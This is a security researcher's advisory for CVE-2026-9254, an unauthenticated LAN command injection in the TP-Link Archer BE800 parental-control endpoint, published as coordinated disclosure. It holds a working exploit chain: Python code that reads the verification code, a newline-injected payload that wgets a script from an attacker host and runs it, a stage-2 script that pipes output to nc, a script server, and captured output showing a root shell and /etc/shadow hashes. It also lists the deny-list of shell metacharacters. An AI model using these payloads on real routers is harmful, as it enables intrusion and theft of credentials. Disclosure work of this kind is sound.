Upload Security Request a scope
← All posts

CVE-2026-9254 TP-Link Archer BE800 V1: Unauthenticated LAN RCE via Parental-Control Newline Injection

An unauthenticated LAN host can reach a LuCI parental-control endpoint whose deny-list omits the newline character — turning a blocked-device notification API into arbitrary command execution as root.

SL
Sean Lagan Security Engineer, UploadSecurity · [email protected]
CVE ID CVE-2026-9254
CVSS 4.0 8.7 HIGH
Vector CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L
CWE CWE-78 OS Command Injection
Auth Required NO AUTH
Researcher Sean Lagan · [email protected]
Published August 2026
Legal Disclaimer

This research was conducted exclusively on hardware owned by the researcher in a private, isolated lab environment. No third-party systems were accessed or harmed. All findings were submitted to TP-Link PSIRT under a coordinated disclosure policy.

Technical details are published to advance community awareness and to assist defenders. Reproducing this vulnerability against devices you do not own and have not received explicit written permission to test is illegal in most jurisdictions.

Executive Summary

// vulnerability brief
  • CVE: CVE-2026-9254
  • Target: TP-Link Archer BE800 V1 (Wi-Fi 7 Tri-Band Router), firmware ≤ 1.3.x
  • Vulnerability: OS command injection (CWE-78) in the parental control blocking endpoint; the url parameter is embedded into a shell command after an incomplete deny-list check that omits the newline character (0x0a)
  • Auth Required: None. The endpoint is reachable from the LAN without any credentials
  • Secondary Bug: The same endpoint discloses the vercode (verification code) in plaintext with no auth, eliminating the need to observe or brute-force it
  • Impact: Arbitrary command execution as root by any host on the LAN segment
  • CVSS 4.0: 8.7 High — CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L
  • Confirmed: Live exploitation on physical hardware; root shell and /etc/shadow exfiltration demonstrated

Introduction

The TP-Link Archer BE800 is a premium Wi-Fi 7 tri-band router. Like most modern consumer routers it runs LuCI — a Lua-based web management framework — with controllers compiled to Lua 5.1 bytecode. One of these controllers, blocking.lua, manages the parental control "captive portal" that intercepts blocked devices and presents a block notification page.

This controller exposes an endpoint at /cgi-bin/luci/blocking?form=vercode that is reachable from the LAN without administrator credentials. Its purpose is to allow blocked devices to read their current verification code and for the captive portal page to submit acknowledgements. A vulnerability in the input validation of this endpoint allows any LAN host to inject arbitrary shell commands that execute as root.

What makes this particularly severe is the attack surface: no login is required, no session needs to be hijacked, and the only two pieces of information needed — a token and a MAC address — are broadcast in plaintext in HTTP redirect URLs observable by any passive LAN observer. The verification code (vercode) that gates write access is itself readable from the same unauthenticated endpoint.

Scope and Methodology

  1. Firmware acquisition — Firmware 1.3.2 obtained from TP-Link's official download portal; unpacked with binwalk to recover the SquashFS root filesystem
  2. Attack surface mapping — Enumerated all LuCI controller bytecode files; identified unauthenticated endpoints by searching for leaf entries lacking auth decorators
  3. Bytecode analysis — Extracted string constants from blocking.lua bytecode using strings(1); reconstructed the validation and execution logic from constant ordering
  4. Live testing — Isolated lab with a physical BE800 V1; confirmed the info-disclosure, then escalated to command injection and interactive root shell

The Unauthenticated Endpoint

The blocking handler is registered in LuCI's routing table with a leaf declaration that carries no authentication requirement. Any HTTP client on the LAN can reach it directly:

httpendpoint — no session required
# Read vercode (GET, no auth)
GET /cgi-bin/luci/blocking?form=vercode&operation=read&token=T&mac=M

HTTP/1.1 200 OK
{"success":true,"data":{"vercode":841425}}

# Write with injection (POST, no auth)
POST /cgi-bin/luci/blocking?form=vercode
Content-Type: application/x-www-form-urlencoded

operation=write&token=T&mac=M&vercode=841425&apply=website&url=PAYLOAD

Token and MAC Acquisition

The token and MAC are the only parameters an attacker needs to observe. Both are embedded in the captive portal redirect URL that the router issues to any blocked device attempting to browse the web:

httpcaptive portal redirect — observable by any LAN host
HTTP/1.1 302 Found
Location: http://tplinkwifi.net/webpages/blocking_new.html
  ?pid=2
  &token=108392
  &mac=08-00-27-63-B0-05
  &url=http%3A%2F%2Fexample.com%2F

This redirect travels over plaintext HTTP (port 80). Any host on the same LAN segment can capture it by passive traffic sniffing or ARP spoofing. The token is a per-session identifier generated when the blocked device first hits the captive portal; it remains valid until the router reboots or the parental control configuration changes.

Attack Precondition
Exploiting this vulnerability requires that parental controls are configured and at least one device is in a blocked profile. This is not a significant barrier: on a family router with parental controls enabled (the primary use case for this feature), the captive portal redirect will occur naturally whenever a blocked device browses. An attacker waiting passively on the LAN will eventually observe a valid token/MAC pair.

Secondary: Vercode Information Disclosure

The write operation requires a vercode — a 6-digit verification code that changes over time. One might expect this to be the gating secret that prevents unauthenticated writes. It is not.

The same unauthenticated endpoint exposes a read operation that returns the current vercode in plaintext given only the token and MAC:

pythonvercode auto-read (no credentials)
import json, urllib.request

def read_vercode(router, token, mac):
    url = (
        f"http://{router}/cgi-bin/luci/blocking?form=vercode"
        f"&operation=read&token={token}&mac={mac}"
    )
    # No session cookie, no Authorization header — completely open
    with urllib.request.urlopen(url, timeout=10) as r:
        return str(json.load(r)["data"]["vercode"])

# Result:
vercode = read_vercode("192.168.0.1", "108392", "08-00-27-63-B0-05")
# → "841425"
Key Finding
The vercode was the only piece of information in the write request that could not be directly observed from network traffic. Its exposure via the unauthenticated read operation means the entire exploit chain is self-contained: an attacker who observes a single captive portal redirect has everything needed to achieve root code execution.

The Deny-List and Its Omission

Before the url parameter reaches the shell command, it passes through a character deny-list check. Extracting the bytecode string constants from blocking.lua reveals the exact set of characters that were blocked in firmware 1.3.2:

bytecode stringsblocking.lua — deny-list constants (1.3.2)
$ strings blocking.lua | grep -E '^[;$&|()`<>{}[\]~'"'"'"]$'

;    &    |    `    $    (    )    <    >
{    }    [    ]    ~    '    "

# 16 single characters — newline (0x0a) is absent

The deny-list covers every standard POSIX shell metacharacter for command separation, substitution, redirection, and quoting — except the newline character (0x0a). In Bourne-compatible shells, a newline is syntactically equivalent to a semicolon: it terminates the current command and begins a new one.

; & | ` $ ( ) < > { } [ ] ~ ' " \n ← MISSING
luablocking.lua — deny-list check (reconstructed from bytecode)
local blacklist = {
    ";", "&", "|", "`", "$", "(", ")", "<", ">",
    "{", "}", "[", "]", "~", "'", '"'
    -- "\n" is absent — this is the vulnerability
}

for _, c in ipairs(blacklist) do
    if url:find(c, 1, true) then
        return err("invalid format")
    end
end

-- After validation passes, url is embedded into a shell command:
fork_exec(string.format("%s %s %s",
    "/usr/sbin/report_upload_url_apply",
    owner_id,
    url   -- user-controlled, newline injection lives here
))

Full Call Chain

HTTP POST /cgi-bin/luci/blocking?form=vercode Body: operation=write & token=T & mac=M & vercode=V & apply=website & url=http://x.com/\nwget -q http://attacker/s.sh -O /tmp/s.sh\n/bin/sh /tmp/s.sh │ ▼ token_check(mac, token) — validates session token against stored MAC vercode_check(vercode) — validates rotating 6-digit code │ ▼ blocking.lua → write handler 1. deny-list check on url → PASSES (no newline in list) 2. url:match("^https?://") → PASSES (prefix is http://x.com/) 3. apply check → PASSES ("website") 4. fork_exec(string.format("%s %s %s", BINARY, owner_id, url)) │ ▼ /bin/sh -c "/usr/sbin/report_upload_url_apply owner http://x.com/ wget -q http://192.168.0.115:8888/s.sh -O /tmp/s.sh /bin/sh /tmp/s.sh" │ ▼ Shell interprets newlines as command separators → wget fetches attacker's shell script → /bin/sh executes it → arbitrary commands run as uid=0(root)
Why Two Stages
The pipe character (|) is in the deny-list, so a direct id | nc attacker 9999 injection is blocked. The two-stage approach sidesteps this: the injected commands contain only wget (no pipe) and /bin/sh. The shell script served by the attacker's HTTP server can use any characters freely, since it is never evaluated by the deny-list.

Exploit Development

The full proof-of-concept is published at github.com/slagzz. The sections below walk through its three stages.

Stage 1 — Vercode Auto-Read

The PoC first calls the read operation to retrieve the current vercode. This requires only the token and MAC observed from the captive portal redirect — no brute-forcing, no timing attack, no authentication.

Stage 2 — Two-Stage Shell Injection

The URL payload delivered in the write operation:

pythonpoc.py — payload construction
# Stage-2 script served over HTTP (pipe used freely here, outside deny-list scope)
script = f"#!/bin/sh\n{cmd} | nc {lhost} {lport}\n".encode()

# URL payload: valid http:// prefix + newline + two injection commands + newline
url_payload = (
    f"http://{lhost}/\n"           # passes URL format check; fast-fail on port 80
    f"wget -q http://{lhost}:{script_port}/s.sh -O /tmp/s.sh\n"
    f"/bin/sh /tmp/s.sh\n"
)

# Shell on router executes:
#   /usr/sbin/report_upload_url_apply owner_id http://192.168.0.115/
#   wget -q http://192.168.0.115:8888/s.sh -O /tmp/s.sh
#   /bin/sh /tmp/s.sh
URL Prefix Selection
Using the attacker's own IP (http://192.168.0.115/) rather than an external domain (http://x.com/) as the URL prefix avoids a slow DNS lookup and TCP timeout. The router's report_upload_url_apply binary attempts to connect to this URL, receives an immediate connection-refused (nothing listens on port 80), and exits quickly — letting the injected wget and /bin/sh commands run without delay.

Stage 3 — Persistent HTTP Server for Script Delivery

The PoC maintains a persistent HTTP server for the duration of the session so that each command in the interactive loop receives a fresh script without restarting the server between commands:

pythonpoc.py — persistent script server
class _ScriptServer:
    def __init__(self, port):
        class _H(http.server.BaseHTTPRequestHandler):
            def do_GET(inner_self):
                data = self._script          # always latest command
                inner_self.send_response(200)
                inner_self.send_header("Content-Length", len(data))
                inner_self.end_headers()
                inner_self.wfile.write(data)
        self._srv = http.server.HTTPServer(("0.0.0.0", port), _H)
        threading.Thread(target=self._srv.serve_forever, daemon=True).start()

    def set_script(self, script: bytes):
        self._script = script

Proof-of-Concept Output

bashpoc.py — live session on physical hardware
$ python3 poc.py \
    --router 192.168.0.1 \
    --token  108392 \
    --mac    08-00-27-63-B0-05 \
    --lhost  192.168.0.115

============================================================
  TP-Link BE800 — Parental Control LAN RCE
  No admin credentials required
============================================================
  Router   : 192.168.0.1
  MAC      : 08-00-27-63-B0-05
  Token    : 108392
  Callback : 192.168.0.115:9999
  Script   : 192.168.0.115:8888

[*] Reading vercode from unauthenticated API...
[+] Vercode : 841425
[+] Shell ready. Commands run as root. Type 'exit' to quit.

router# id
uid=0(root) gid=0(root)

router# uname -a
Linux Archer_BE800 5.4.213 #0 SMP PREEMPT Wed Jul 16 03:11:33 2025 aarch64 GNU/Linux

router# cat /etc/shadow
root:x:0:0:99999:7:::
sftpadmin:x:0:0:99999:7:::
admin:$6$Bw4fdeV.uFko4YvW$i1QT8LECrJV5yFH4kuyd6ARJsetlj9GvHCKCxR2PAjqhVvXK9nR3yC1NujsErU6kz6H2fB3re4eSxraCYaI1u/:20376:0:99999:7:::
guest:$6$k9Jbd.JdO0Newd7v$67qVrRCAnjaV.0ob0Ltyt2QoUClhHG0RE2fb9fI8R7xqDD1c3SRXHPl67rvUBGwWpLtctK9CPXFyfOfPqEbrn/:20376:0:99999:7:::

router# exit

Security Assessment

AspectAssessment
Authentication barrier None. The endpoint is designed for use by captive portal pages without admin login. No session token, cookie, or credential is required from the attacker.
Token/MAC acquisition Both values are embedded in a plaintext HTTP redirect visible to any passive LAN observer. No active interaction with the target is necessary beyond waiting for a blocked device to browse.
Vercode gating The vercode is readable from the same unauthenticated read operation. It provides no additional security barrier to an attacker who already has the token and MAC.
Execution context Root. The LuCI CGI process runs as uid=0. All injected commands execute with full system privileges.
Reliability Injection is deterministic — no race condition, heap spray, or memory corruption required. A single correctly-formed POST request achieves code execution.
Root cause A deny-list-based approach applied to a parameter embedded in a shell command, with the deny-list failing to include the newline character. Deny-lists for shell safety are inherently fragile; allow-lists or shell-free execution are the correct mitigations.

Tools and Techniques

// analysis
  • binwalk — firmware extraction (1.3.2)
  • ubireader + unsquashfs — UBIFS/SquashFS extraction
  • strings(1) — Lua 5.1 bytecode constant extraction
  • Python struct — bytecode offset analysis for deny-list diffs
// exploitation
  • Python http.server — script delivery over HTTP
  • netcat (BusyBox nc) — command output callback
  • Two-stage wget injection — avoids | deny-list entry
  • urllib (stdlib only) — no external Python dependencies

Key Takeaways

For Security Researchers

For Router Manufacturers

References